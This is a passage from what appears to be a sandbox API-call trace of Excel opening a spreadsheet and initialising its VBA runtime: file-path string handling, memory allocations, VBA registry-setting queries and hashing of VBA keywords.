cchLength=0xd | out: lpsz="*\\z005dbeaac3") returned 0xd [0089.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z005dbeaac3", cchWideChar=14, lpMultiByteStr=0x230210, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z005dbeaac3", lpUsedDefaultChar=0x0) returned 14 [0089.569] _wcsicmp (_String1="*\\Z005dbeaac3", _String2="*\\Z005dbeaac3") returned 0 [0089.569] wcsncpy_s (in: _Destination=0x2302e0, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls") returned 0x0 [0089.569] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls", cchLength=0x36 | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\doc061120182038778905.xls") returned 0x36 [0089.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\doc061120182038778905.xls", cchWideChar=55, lpMultiByteStr=0x230210, cbMultiByte=110, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\doc061120182038778905.xls", lpUsedDefaultChar=0x0) returned 55 [0089.569] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls", _String2="*\\Z005dbeaac3") returned -23 [0089.569] IMalloc:Realloc (This=0x7feffc15380, pv=0xb61ace0, cb=0x100) returned 0xb4daae0 [0089.569] wcscpy_s (in: _Destination=0xb4dab20, _SizeInWords=0x37, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls" | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls") returned 0x0 [0089.569] wcsncpy_s (in: _Destination=0x2302e0, _SizeInWords=0x108, _Source="*\\Z005dbeaac3", _MaxCount=0x106 | out: _Destination="*\\Z005dbeaac3") returned 0x0 [0089.569] CharLowerBuffW (in: lpsz="*\\Z005dbeaac3", cchLength=0xd | out: lpsz="*\\z005dbeaac3") returned 0xd [0089.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z005dbeaac3", cchWideChar=14, lpMultiByteStr=0x230210, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z005dbeaac3", lpUsedDefaultChar=0x0) returned 14 [0089.569] _wcsicmp (_String1="*\\Z005dbeaac3", _String2="*\\Z005dbeaac3") returned 0 [0089.569] wcsncpy_s (in: _Destination=0x230320, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls") returned 0x0 [0089.569] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls", cchLength=0x36 | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\doc061120182038778905.xls") returned 0x36 [0089.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\doc061120182038778905.xls", cchWideChar=55, lpMultiByteStr=0x230250, cbMultiByte=110, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\doc061120182038778905.xls", lpUsedDefaultChar=0x0) returned 55 [0089.570] wcscpy_s (in: _Destination=0x72cabe0, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls" | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls") returned 0x0 [0089.571] IMalloc:Alloc (This=0x7feffc15380, cb=0x84) returned 0xb61ae00 [0089.571] wcscpy_s (in: _Destination=0xb61ae70, _SizeInWords=0x7, _Source="__SRP_" | out: _Destination="__SRP_") returned 0x0 [0089.571] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x180) returned 0xb33c2a0 [0089.571] IMalloc:Alloc (This=0x7feffc15380, cb=0xb8) returned 0xb7e5f00 [0089.571] IMalloc:Alloc (This=0x7feffc15380, cb=0xb8) returned 0xb7e5e40 [0089.571] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0xb51cea0 [0089.571] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x80) returned 0xb61ae90 [0089.571] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0xb51d340 [0089.571] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0xb51d7e0 [0089.572] IMalloc:Alloc (This=0x7feffc15380, cb=0x28) returned 0xb8b97e0 [0089.572] IMalloc:Alloc (This=0x7feffc15380, cb=0x10) returned 0x71dee50 [0089.572] GetLocaleInfoA (in: Locale=0x409, LCType=0x1004, lpLCData=0x22fbbc, cchData=6 | out: lpLCData="1252") returned 5 [0089.572] atoi (_Str="1252") returned 1252 [0089.572] GetLocalTime (in: lpSystemTime=0x22fbb0 | out: lpSystemTime=0x22fbb0*(wYear=0x7e2, wMonth=0xb, wDayOfWeek=0x2, wDay=0x6, wHour=0xa, wMinute=0x18, wSecond=0x3, wMilliseconds=0x40)) [0089.573] IMalloc:Alloc (This=0x7feffc15380, cb=0x80) returned 0xb61af20 [0089.573] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0xb8d8f10 [0089.573] IMalloc:Alloc (This=0x7feffc15380, cb=0x80) returned 0xb61afb0 [0089.573] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0xb8b9900 [0089.573] IMalloc:Alloc (This=0x7feffc15380, cb=0x80) returned 0xb61b040 [0089.573] IMalloc:Realloc (This=0x7feffc15380, pv=0xb61b040, cb=0x280) returned 0x72cca80 [0089.573] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0xb8d8f00 [0089.573] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0xb8d8f20 [0089.573] strcpy_s (in: _Dst=0x22f990, _DstSize=0xc8, _Src="Software\\Microsoft\\VBA\\" | out: _Dst="Software\\Microsoft\\VBA\\") returned 0x0 [0089.573] strcat_s (in: _Destination="Software\\Microsoft\\VBA\\", _SizeInBytes=0xc8, _Source="7.1\\Common" | out: _Destination="Software\\Microsoft\\VBA\\7.1\\Common") returned 0x0 [0089.573] RegCreateKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\VBA\\7.1\\Common", Reserved=0x0, lpClass="", dwOptions=0x0, samDesired=0xf003f, lpSecurityAttributes=0x0, phkResult=0x7fee60c04a8, lpdwDisposition=0x0 | out: phkResult=0x7fee60c04a8*=0xafc, lpdwDisposition=0x0) returned 0x0 [0089.573] RegQueryValueExA (in: hKey=0xafc, lpValueName="RequireDeclaration", lpReserved=0x0, lpType=0x22fa68, lpData=0x22fa60, lpcbData=0x22fa64*=0x4 | out: lpType=0x22fa68*=0x0, lpData=0x22fa60*=0x81, lpcbData=0x22fa64*=0x4) returned 0x2 [0089.573] RegQueryValueExA (in: hKey=0xafc, lpValueName="CompileOnDemand", lpReserved=0x0, lpType=0x22fa68, lpData=0x22fa60, lpcbData=0x22fa64*=0x4 | out: lpType=0x22fa68*=0x0, lpData=0x22fa60*=0x0, lpcbData=0x22fa64*=0x4) returned 0x2 [0089.573] RegQueryValueExA (in: hKey=0xafc, lpValueName="NotifyUserBeforeStateLoss", lpReserved=0x0, lpType=0x22fa68, lpData=0x22fa60, lpcbData=0x22fa64*=0x4 | out: lpType=0x22fa68*=0x0, lpData=0x22fa60*=0x1, lpcbData=0x22fa64*=0x4) returned 0x2 [0089.574] RegQueryValueExA (in: hKey=0xafc, lpValueName="BackGroundCompile", lpReserved=0x0, lpType=0x22fa68, lpData=0x22fa60, lpcbData=0x22fa64*=0x4 | out: lpType=0x22fa68*=0x0, lpData=0x22fa60*=0x0, lpcbData=0x22fa64*=0x4) returned 0x2 [0089.574] RegQueryValueExA (in: hKey=0xafc, lpValueName="BreakOnAllErrors", lpReserved=0x0, lpType=0x22fa68, lpData=0x22fa60, lpcbData=0x22fa64*=0x4 | out: lpType=0x22fa68*=0x0, lpData=0x22fa60*=0xff, lpcbData=0x22fa64*=0x4) returned 0x2 [0089.574] RegQueryValueExA (in: hKey=0xafc, lpValueName="BreakOnServerErrors", lpReserved=0x0, lpType=0x22fa68, lpData=0x22fa60, lpcbData=0x22fa64*=0x4 | out: lpType=0x22fa68*=0x0, lpData=0x22fa60*=0x0, lpcbData=0x22fa64*=0x4) returned 0x2 [0089.574] RegCloseKey (hKey=0xafc) returned 0x0 [0089.574] IMalloc:Alloc (This=0x7feffc15380, cb=0xc0) returned 0xb76ffa0 [0089.574] IMalloc:Alloc (This=0x7feffc15380, cb=0xc0) returned 0xb770070 [0089.574] IMalloc:Alloc (This=0x7feffc15380, cb=0x1300) returned 0xb8fbc80 [0089.574] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x5360000 [0089.575] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x2000, flProtect=0x4) returned 0x6b20000 [0089.576] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Left") returned 0x107be5 [0089.576] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x30) returned 0x7357680 [0089.576] VirtualAlloc (lpAddress=0x0, dwSize=0x3000, flAllocationType=0x1000, flProtect=0x4) returned 0x5470000 [0089.576] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Object") returned 0x102ec1 [0089.576] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x5e40000 [0089.577] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x6550000 [0089.578] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x6560000 [0089.578] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Intrinsics") returned 0x109464 [0089.579] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x6770000 [0089.581] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Unknown") returned 0x10a11d [0089.581] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="") returned 0x10c0b3 [0089.584] IMalloc:Alloc (This=0x7feffc15380, cb=0x420) returned 0xb4af9d0 [0089.586] GetProcAddress (hModule=0x7fee5a40000, lpProcName=0x7fee608b088) returned 0x7fee5a4fcd0 [0089.586] VirtualAlloc (lpAddress=0x0, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x6a80000 [0089.587] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x2000, flProtect=0x4) returned 0x6b70000 [0089.593] IMalloc:Alloc (This=0x7feffc15380, cb=0x420) returned 0xb4b0270 [0089.593] CExposedStream::AddRef () returned 0x2 [0089.593] CExposedStream::Release () returned 0x1 [0089.593] CExposedStream::Release () returned 0x0 [0089.594] IMalloc:Free (This=0x7feffc15380, pv=0xb4b0270) [0089.594] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="0") returned 0x101047 [0089.594] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x30) returned 0x7351b00 [0089.594] VirtualAlloc (lpAddress=0x0, dwSize=0x3000, flAllocationType=0x1000, flProtect=0x4) returned 0x6ca0000 [0089.596] VirtualAlloc (lpAddress=0x6b70000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x6b70000 [0089.597] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Abs") returned 0x1072bc [0089.597] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Access") returned 0x101d98 [0089.597] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="AddressOf") returned 0x10e252 [0089.597] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Alias") returned 0x10bf6d [0089.597] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="And") returned 0x107469 [0089.597] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Any") returned 0x10747a [0089.597] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Append") returned 0x108f83 [0089.597] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0089.597] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="As") returned 0x105c8d [0089.597] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Assert") returned 0x1096e9 [0089.597] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="B") returned 0x101059 [0089.597] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Base") returned 0x10afa9 [0089.597] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="BF") returned 0x105ca5 [0089.597] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Binary") returned 0x1008a0 [0089.597] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Boolean") returned 0x10978e [0089.598] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ByRef") returned 0x1074ef [0089.598] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Byte") returned 0x101a83 [0089.598] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ByVal") returned 0x1089c5 [0089.598] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Call") returned 0x10744b [0089.598] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Case") returned 0x107547 [0089.598] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CBool") returned 0x104c74 [0089.598] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CByte") returned 0x106d3c [0089.598] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CCur") returned 0x108050 [0089.598] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CDate") returned 0x108dc3 [0089.598] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CDec") returned 0x10834a [0089.598] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CDbl") returned 0x1082e4 [0089.598] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CDecl") returned 0x10a0b9 [0089.598] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ChDir") returned 0x10b2fb [0089.598] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CInt") returned 0x109f65 [0089.598] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Circle") returned 0x103fd1 [0089.598] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CLng") returned 0x10af63 [0089.598] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Close") returned 0x1005ab [0089.598] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Compare") returned 0x10af82 [0089.598] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Const") returned 0x10517a [0089.598] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CSng") returned 0x10d4d2 [0089.598] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CStr") returned 0x10d5bb [0089.598] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CurDir") returned 0x101bab [0089.598] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CurDir$") returned 0x10f7cc [0089.598] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CurDir") returned 0x101bab [0089.598] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CVar") returned 0x10e307 [0089.598] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CVDate") returned 0x10cfd6 [0089.598] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CVErr") returned 0x108902 [0089.598] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Currency") returned 0x10f106 [0089.598] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Database") returned 0x10eec7 [0089.598] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Date") returned 0x103b0a [0089.598] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Date$") returned 0x1031c7 [0089.598] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Date") returned 0x103b0a [0089.598] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Debug") returned 0x10eaee [0089.599] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Decimal") returned 0x1036dd [0089.599] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Declare") returned 0x104a38 [0089.599] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefBool") returned 0x1091ad [0089.599] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefByte") returned 0x10b275 [0089.599] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefCur") returned 0x10cc45 [0089.599] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefDate") returned 0x10d2fc [0089.599] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefDec") returned 0x10cf3f [0089.599] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefDbl") returned 0x10ced9 [0089.599] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefInt") returned 0x10eb5a [0089.599] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefLng") returned 0x10fb58 [0089.599] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefObj") returned 0x10096b [0089.599] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefSng") returned 0x102088 [0089.599] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefStr") returned 0x102171 [0089.599] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefVar") returned 0x102ebd [0089.599] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Dim") returned 0x1083c4 [0089.599] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Dir") returned 0x1083c9 [0089.599] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Dir$") returned 0x106567 [0089.599] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Dir") returned 0x1083c9 [0089.599] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Do") returned 0x105cf8 [0089.599] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DoEvents") returned 0x109634 [0089.599] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Double") returned 0x100d99 [0089.599] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Each") returned 0x10fe75 [0089.599] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Else") returned 0x103b56 [0089.599] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ElseIf") returned 0x10f307 [0089.599] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Empty") returned 0x10f4f1 [0089.599] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="End") returned 0x1089cd [0089.599] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="EndIf") returned 0x1078bd [0089.599] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Enum") returned 0x10465a [0089.599] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Eqv") returned 0x108a4e [0089.599] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Erase") returned 0x1080da [0089.599] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Error") returned 0x10db3c [0089.599] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Error$") returned 0x10cf60 [0089.599] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Error") returned 0x10db3c [0089.599] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Event") returned 0x10ac4b [0089.599] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Exit") returned 0x107a1f [0089.599] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Explicit") returned 0x10edcb [0089.599] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="F") returned 0x10105d [0089.599] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="False") returned 0x102d01 [0089.599] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Fix") returned 0x108e81 [0089.599] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="For") returned 0x108f59 [0089.599] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Format") returned 0x102337 [0089.599] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Format$") returned 0x10efc7 [0089.599] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Format") returned 0x102337 [0089.600] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="FreeFile") returned 0x10483a [0089.600] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Friend") returned 0x10bd1c [0089.600] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810 [0089.600] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Get") returned 0x109342 [0089.600] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Global") returned 0x10f88f [0089.600] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Go") returned 0x105d67 [0089.600] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="GoSub") returned 0x10b425 [0089.600] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="GoTo") returned 0x10d70b [0089.600] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="If") returned 0x105da8 [0089.600] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Imp") returned 0x109f18 [0089.600] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Implements") returned 0x10a988 [0089.600] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="In") returned 0x105db0 [0089.600] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Input") returned 0x10022a [0089.600] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Input$") returned 0x107767 [0089.600] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Input") returned 0x10022a [0089.600] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="InputB") returned 0x107785 [0089.600] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="InputB$") returned 0x100c59 [0089.600] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="InputB") returned 0x107785 [0089.600] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="InStr") returned 0x10120e [0089.600] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="InStrB") returned 0x10c2fb [0089.600] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Int") returned 0x109f41 [0089.600] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Integer") returned 0x10b48a [0089.600] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Is") returned 0x105db5 [0089.600] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LBound") returned 0x101e0b [0089.600] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Left") returned 0x107be5 [0089.600] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Len") returned 0x10adf9 [0089.600] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LenB") returned 0x107cfb [0089.600] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Let") returned 0x10adff [0089.600] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Lib") returned 0x10ae81 [0089.600] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Like") returned 0x1091f3 [0089.600] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Line") returned 0x109262 [0089.600] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LINEINPUT") returned 0x1008f1 [0089.600] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Load") returned 0x10b096 [0089.600] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Local") returned 0x10353f [0089.600] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Lock") returned 0x10b0e7 [0089.600] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Long") returned 0x10b27a [0089.600] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Loop") returned 0x10b2a8 [0089.600] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LSet") returned 0x10c69e [0089.600] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Me") returned 0x105e3b [0089.600] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid") returned 0x10b3dc [0089.600] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid$") returned 0x10566d [0089.600] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid") returned 0x10b3dc [0089.601] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="MidB") returned 0x10568b [0089.601] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="MidB$") returned 0x102a70 [0089.601] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="MidB") returned 0x10568b [0089.601] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mod") returned 0x10b4ba [0089.601] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Module") returned 0x101ee1 [0089.601] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Name") returned 0x10f2f0 [0089.601] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="New") returned 0x10b8b3 [0089.601] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Next") returned 0x1009bb [0089.601] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Not") returned 0x10ba23 [0089.601] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Nothing") returned 0x105f21 [0089.601] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Null") returned 0x105d87 [0089.601] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Object") returned 0x102ec1 [0089.601] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="On") returned 0x105e8e [0089.601] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Open") returned 0x100767 [0089.601] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Option") returned 0x10f982 [0089.601] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Optional") returned 0x10675a [0089.601] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Or") returned 0x105e92 [0089.601] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Output") returned 0x10f959 [0089.601] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ParamArray") returned 0x105941 [0089.601] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Preserve") returned 0x10a5fc [0089.601] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Print") returned 0x10f00d [0089.601] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Private") returned 0x1073c3 [0089.601] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Property") returned 0x10d2f6 [0089.601] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="PSet") returned 0x10dd55 [0089.601] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Public") returned 0x101287 [0089.601] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Put") returned 0x10c5b3 [0089.601] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="RaiseEvent") returned 0x10274a [0089.601] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Random") returned 0x10f428 [0089.601] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Randomize") returned 0x10ab02 [0089.601] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Read") returned 0x101d0f [0089.601] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ReDim") returned 0x10eea8 [0089.601] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Rem") returned 0x10ce0e [0089.601] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Resume") returned 0x10728b [0089.601] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Return") returned 0x1038eb [0089.601] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="RGB") returned 0x10ce4d [0089.601] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="RSet") returned 0x106891 [0089.601] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Scale") returned 0x10e596 [0089.601] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Seek") returned 0x10e387 [0089.601] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Select") returned 0x10cabd [0089.601] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Set") returned 0x10d36e [0089.601] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sgn") returned 0x10d3b2 [0089.601] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Shared") returned 0x10479e [0089.601] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Single") returned 0x10a99f [0089.601] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Spc") returned 0x10d4f4 [0089.601] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Static") returned 0x1029c6 [0089.601] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Step") returned 